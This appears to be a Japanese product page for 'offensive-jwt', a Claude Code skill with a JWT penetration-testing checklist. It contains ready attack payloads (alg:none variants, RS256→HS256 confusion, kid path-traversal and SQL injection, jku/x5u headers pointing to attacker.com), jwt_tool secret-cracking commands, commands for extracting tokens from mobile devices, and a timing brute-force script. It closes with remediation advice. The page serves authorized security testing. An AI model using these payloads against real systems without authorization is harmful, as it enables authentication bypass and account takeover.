offensive-jwt について
offensive-jwtは、許可されたセキュリティテスト向けのJWTチェックリストです。トークンの発見、検証や鍵処理、モバイル保存の確認、修正案を扱います。
主な機能
- 01JWTの発見とクレーム確認
- 02アルゴリズムと署名の検証テスト
- 03ヘッダーと鍵読み込みへの攻撃確認
- 04モバイルでのトークン保存レビュー
- 05JWT_Toolによる自動テストの手引き
- 06トークン検証の修正案
活用シーン
- 01Web APIのJWT認証監査
- 02アルゴリズム混同と弱い鍵のテスト
- 03モバイルアプリのトークン保存確認
- 04クレーム検証とトークン漏えいの確認
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-jwtインストール後、Claude Code で/offensive-jwtを入力して読み込まれたか確認します。
詳細
概要
オフェンシブセキュリティの取り組み向けの、包括的な JWT 攻撃チェックリストです。手順に沿って進め、現在のターゲットの状況に各手法を適用し、完了した項目を記録してください。
クイックリファレンス:確認すべき設定ミス
- アルゴリズムが
noneに設定されている — 署名検証が完全にバイパスされる RSAとHMACの間でアルゴリズムが切り替わる(混同攻撃)- HMAC シークレットが弱い、または推測可能(ブルートフォースが可能)
kid、jku、jwk、x5uヘッダーパラメーターが検証なしで受け入れられる- 期限切れまたは改ざんされたトークンがサーバーに受け入れられる
- 機密データが暗号化されずにペイロードに保存されている
便利なツール:JWT Tool
仕組み
JWT(RFC 7519)は、Base64URL エンコードされた 3 つの部分で構成されます:header.payload.signature。
署名アルゴリズム:
| アルゴリズム | 種類 | 備考 |
|---|---|---|
| HS256/384/512 | 対称 HMAC | 共有シークレット。混同攻撃の標的 |
| RS256/384/512 | 非対称 RSA | 公開鍵が HMAC シークレットとして悪用される可能性がある |
| ES256/384/512 | 非対称 ECDSA | |
| PS256/384/512 | RSASSA-PSS | |
| EdDSA (Ed25519/Ed448) | 非対称 | |
| none | 署名なし | 極めて危険 |
その他の落とし穴:
- JWS/JWE の混同:署名付き(JWS)が想定されている場面で、サーバーが暗号化トークン(JWE)を受け入れる、または予期しない
typ/ctyに対してフェイルオープンする - JWKS の取得:
jku/x5uを介した SSRF、安全でない TLS、汚染された鍵キャッシュ、kidの衝突 - トークンバインディング(DPoP、mTLS):実装が不適切だと、他のクライアントからリプレイ攻撃が可能になる
調査:JWT の使用を特定する
- すべてのリクエストで
Authorization: Bearer <token>ヘッダーを確認する - JWT 構造(
eyJ...)を含む Cookie を探す - ブラウザーのローカルストレージ/セッションストレージを調べる
- jwt.io または BurpSuite JWT extension を使ってトークンをデコードし、クレームとヘッダーパラメーターを確認する
- ヘッダー内の
kid、jku、jwk、x5uフィールドを記録する。これらは攻撃対象となる
脆弱性マップ
JWT Vulnerabilities
├── Algorithm Bypass
│ ├── alg:none attack
│ └── RS256→HS256 confusion (public key as HMAC secret)
├── Weak Secret Key → Brute force
├── kid Parameter Injection
│ ├── SQL injection via kid
│ └── Path traversal via kid
├── Header Injection
│ ├── jwk (inline fake key)
│ ├── jku/x5u (remote attacker-controlled JWKS)
│ └── JWKS cache poisoning
└── Missing / Broken Validation
├── No signature check
├── Expired tokens accepted
└── iss/aud/exp not validated
脆弱性
アルゴリズムの脆弱性
- alg:none — 一部のライブラリは、
algがnoneまたは大文字小文字の異なる表記(None、NONE、nOnE)の場合に署名検証を無効にする - アルゴリズムの混同(RS256→HS256) — 攻撃者が
algを HS256 に切り替えると、サーバーが RSA 公開鍵を HMAC シークレットとして使用する。攻撃者は公開鍵を使ってトークンに再署名する - キー ID(
kid)の操作 —kidを悪用して誤った鍵を読み込ませたり、ファイルパス/SQL を注入したりする。厳格な検索を徹底する
署名の脆弱性
- 弱い HMAC シークレット — 辞書攻撃または hashcat でブルートフォースが可能
- 署名検証の欠如 — 検証なしでトークンが受け入れられる
- 検証処理の不備 — 署名チェックロジックの実装エラー
実装上の問題
- クレーム検証の欠如 —
exp、nbf、aud、issが検証されない - エントロピー不足 — 予測可能な JWT ID またはトークン
- 有効期限なし — トークンが無期限に有効
- 安全でない転送 — トークンが HTTP 経由で送信される
- デバッグ情報の漏えい — 詳細なエラーメッセージから実装が露呈する
ヘッダーインジェクション攻撃
- JWK インジェクション —
jwkヘッダーを介して、攻撃者が制御する公開鍵を指定する - JKU の操作 —
jku(JWK Set URL)を攻撃者が制御する JWKS エンドポイントに向ける - x5u の悪用 — 信頼できない X.509 鍵 URL を読み込ませる。緩い TLS 検証やオープンリダイレクトを悪用する
- JWKS キャッシュポイズニング —
kidの衝突やレスポンスヘッダーの操作を介して、キャッシュに攻撃者の鍵を受け入れさせる critヘッダーの悪用 — サーバーが未知の重要パラメーターを無視し、バイパスを可能にする
情報漏えい
- 機密データ(PII、認証情報、セッションの詳細)が暗号化されずにペイロードに保存されている
- クレームを介して内部サービス/バックエンドの情報が漏えいする
その他の攻撃ベクトル
モバイルアプリの JWT ストレージ
Android:
SharedPreferences:全ユーザーから読み取り可能になっていないか確認します。場所は/data/data/<package>/shared_prefs/です- Keystore の抽出:root 化されたデバイスまたはアプリの脆弱性を悪用します
- バックアップの抽出:
adb backup -f backup.ab <package>(allowBackup=trueの場合) - ツール:Frida、objection、MobSF
iOS:
- Keychain:
kSecAttrAccessibleを確認します。kSecAttrAccessibleAlwaysは安全ではありません - iTunes/iCloud バックアップの抽出:暗号化されていないバックアップから Keychain が漏えいします
- 脱獄と Keychain-Dumper による完全な抽出
- ツール:Frida、objection、idb
React Native / ハイブリッド:
AsyncStorageは平文で保存されます(Android の SQLite DB、iOS の plist)。デフォルトでは暗号化されません
# Android — check SharedPreferences
adb shell "run-as com.target.app cat /data/data/com.target.app/shared_prefs/auth.xml"
# iOS — extract from backup
idevicebackup2 backup --full /path/to/backup
# Use plist/sqlite tools to extract JWT
JWT 混同攻撃
- SAML-JWT 混同 — アプリが SAML と JWT の両方を受け入れる場合、SAML が想定されている箇所に JWT を送信するか、その逆を行い、より弱い検証経路を悪用します
- API キー-JWT 混同 — API キーが想定されている箇所に JWT を送信するか、その逆を行ってテストします
- セッションクッキー-JWT ハイブリッド — 有効なセッションクッキーとともに期限切れの JWT をテストし、JWT クレームをセッションに注入します
- OAuth トークン混同 — 不透明なアクセストークンを想定するリソースサーバーに ID トークン(JWT)を送信します
# Try API key where JWT expected
curl -H "Authorization: Bearer <api_key>" https://api.target/resource
# Try JWT where API key expected
curl -H "X-API-Key: <jwt_token>" https://api.target/resource
HMAC に対するタイミング攻撃
一定時間でない比較処理では、応答時間の差から HMAC シークレットが文字単位で漏えいします。
import requests, time
def time_request(signature):
start = time.perf_counter()
r = requests.get('https://target/api',
headers={'Authorization': f'Bearer header.payload.{signature}'})
return time.perf_counter() - start
# Brute-force first byte — longer response time indicates correct byte
for byte in range(256):
sig = bytes([byte]) + b'\x00' * 31
t = time_request(sig.hex())
URL パラメーター内の JWT
- GET URL 内のトークンは、サーバーログ、プロキシログ、ブラウザー履歴に残ります
Refererヘッダーを通じて外部サイトに漏えいします。CDN/キャッシュのログにもトークンが残る場合があります
curl "https://api.target/resource?token=eyJ..."
curl "https://api.target/resource?access_token=eyJ..."
curl "https://api.target/resource?jwt=eyJ..."
トークンを含む過去の URL がないか Wayback Machine を確認し、サードパーティの分析サービスに送信される Referer ヘッダーを監視します。
手動テストの手順
-
デコードして調査:
base64url_decode(header) . base64url_decode(payload) . signature -
noneアルゴリズムをテスト(大文字と小文字のすべてのパターンを試します):{"alg":"none","typ":"JWT"}.payload."" {"alg":"None","typ":"JWT"}.payload."" {"alg":"NONE","typ":"JWT"}.payload."" {"alg":"nOnE","typ":"JWT"}.payload."" -
アルゴリズム混同(RS256→HS256):
# Re-sign with RSA public key used as HMAC secret {"alg":"HS256","typ":"JWT","kid":"expected-key"}.payload.<re-signed-with-public-key-as-secret> -
kid パラメーター攻撃:
{"alg":"HS256","typ":"JWT","kid":"../../../../dev/null"} {"alg":"HS256","typ":"JWT","kid":"file:///dev/null"} {"alg":"HS256","typ":"JWT","kid":"' OR 1=1 --"} -
JWK/JKU インジェクション:
{"alg":"RS256","typ":"JWT","jwk":{"kty":"RSA","e":"AQAB","kid":"attacker-key","n":"..."}} {"alg":"RS256","typ":"JWT","jku":"https://attacker.com/jwks.json"} -
x5u / crit の処理:
{"alg":"RS256","typ":"JWT","x5u":"https://attacker.com/cert.pem"} {"alg":"RS256","typ":"JWT","crit":["exp"],"exp":null} -
HMAC シークレットの総当たり:
python3 jwt_tool.py <token> -C -d wordlist.txt -
クレーム検証の欠落をテスト:
exp(有効期限)を削除または変更しますiss(発行者)またはaud(対象者)を変更しますiat(発行時刻)またはnbf(有効期間開始時刻)を変更します
JWT_Tool による自動テスト
# Basic token inspection
python3 jwt_tool.py <token>
# Full vulnerability scan
python3 jwt_tool.py <token> -M all
# Targeted attacks
python3 jwt_tool.py <token> -X a # Algorithm confusion
python3 jwt_tool.py <token> -X n # Null/none signature
python3 jwt_tool.py <token> -X i # Identity theft
python3 jwt_tool.py <token> -X k # Key confusion
# Crack HMAC secret
python3 jwt_tool.py <token> -C -d wordlist.txt
その他のツール:
- JWT.io — 基本的なトークンの調査とデバッグ
- Burp Suite JWT Scanner / JWT Editor 拡張機能 — 自動テストとトークン編集
- jwtXploiter — 高度な JWT 脆弱性スキャン
- c-jwt-cracker — 高速な HMAC 総当たり(C による実装)
- Frida、objection、MobSF — モバイル JWT の抽出
修正の推奨事項
- 有効期間の短いアクセストークンを使用し、リフレッシュトークンを頻繁にローテーションします
aud(対象者)およびiss(発行者)クレームを必ず検証しますnoneアルゴリズムを無効にし、アルゴリズムのダウングレードを防止します。クライアント/発行者ごとにalgを固定します- 検証に読み込む鍵の素材が
algと一致することを確認し、一致しない場合は拒否します - 未知の
critヘッダーパラメーターを含むトークンを拒否します - ピン留めした TLS を使用して JWKS を検証します。信頼できるドメインを除き、リモートの
jku/x5uを許可しません。kidの一意性を確保し、鍵のキャッシュには短い TTL を設定します - トークンの最大長を適用します。必要でない限り JWE 圧縮を無効にします
- 早期失効のため、
jtiをキーとするサーバー側の拒否リストを管理します - DPoP トークン(
typ:"dpop+jwt")の場合:証明が HTTP リクエストにバインドされていることを検証し、nonce の一度限りの使用を強制します - 可能な場合はセッションをデバイスにバインドし、使用のたびにリフレッシュトークンをローテーションします
- Web では
SameSite=Lax/Strictの HttpOnly クッキーを優先し、アクセストークンの保存に localStorage を使用しないでください
代替手段と最新の緩和策
- PASETO — アルゴリズムのネゴシエーションを完全に排除し、混同攻撃を防ぎます
- Macaroons — 制約を追加できる、ケイパビリティベースの委任が可能なベアラートークン
- DPoP と mTLS — トークンをクライアントにバインドしてリプレイを防ぎます
コメント
Markdown 対応